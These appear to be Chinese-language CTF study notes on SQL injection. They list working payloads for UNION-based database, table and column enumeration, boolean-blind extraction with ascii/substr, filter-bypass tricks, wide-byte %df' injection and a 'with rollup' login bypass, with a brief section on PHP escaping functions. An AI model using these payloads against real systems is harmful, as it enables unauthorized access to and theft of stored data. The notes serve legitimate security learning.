CTF--SQL注入

SQL注入思路：
1.是否存在SQL注入测试方法：(1)使用单引号’ (2)sqlmap：sqlmap.py -u http://*******
2.判断过滤的字符
SQL注入方式：
(1)单引号’ (2)or/and 1=1 (3)order by --猜测字段长度
(&&与||绕过过滤) 例:order by 1…
SQL绕过过滤方式：
(1)某一关键字被过滤:1.注释//
(如or、order) 2.<>方式 例：o//rder…
(2)#号被过滤是：用URL编码:%23代替
(3)逗号被过滤时：用join
例：’ union select * from(select database()) a join (select version()) b #
//显示当前数据库和当前数据库版本
’ union select * from (select group_concat(distinct(table_schema)) from information_schema.tables ) a join (select version() ) b # (爆库、表、列在这个select语句中)
//显示所有数据库和当前数据库版本(group_concat把所有库名拼成一个字符串)
SQL注入：
※(1)可联合查询注入union – 结合两个select语句
例子：union select 1,2,3(order by语句中试出的长度)
得到信息后爆库名，如显示2则：union select 1,database(),3
//或者union select database() (爆出的库名)
接下来爆表名，union select table_name from information_schema.tables where table_schema=’***’
接下来爆列名，union select column_name from information_schema.columns where table_schema=’***’ and table_name=’***’
(库名) (表名)
得到列名后获取flag，union select *** from ***
(列名) (表名)
※(2)布尔型注入Boolean-based
使用函数：
1.length()–判断数据库名字长度
’ and length(database())=8 #
若返回404则错误，若返回正常则说明数据库长度是8
2.left()–判断数据库名字第一位
’ and left(database())<‘t’ #
若返回404则错误，若返回正常则说明首字母大于t，接下来在用>判断
3.ascii()、substr()–继续判断数据库名字
’ and ascii(substr(select database(), 1, 1)) > 64 # ----数据库第一个字母的ascii值
调整64的值，确定到字母
猜测表名类似，如：
’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)>64 #
//limit表示限制返回的记录数，依然用大于小于确定最终字母
(3)宽字节注入：%df’（被解析成一个宽字符，带单引号如：縗’，有了单引号就可以注入了）
https://blog.csdn.net/Huang921/article/details/78593839
(4)SQL注入：
如果判断逻辑是{对输入的用户名先看是否有一行数据存在，再去比较} ----看到源码
则使用group by pwd with rollup 来在查询结果后加一行，并且这一行pwd字段的值为NULL
具体注入语句：’ group by pwd with rollup limit 1 offset 2 #
(5)PHP防止SQL注入函数：
1.去除斜杠：get_magic_quotes_gpc() + stripslashes()
2.去除引号：htmlentities($str, X)
X = ENT_COMPAT //只转换双引号；X=ENT_QUOTES// 转换双引号和单引号；X=ENT_NOQUOTES// 不转换任何引号
(6)updatexml注入
参考网站:https://blog.csdn.net/m0_37921080/article/details/79951159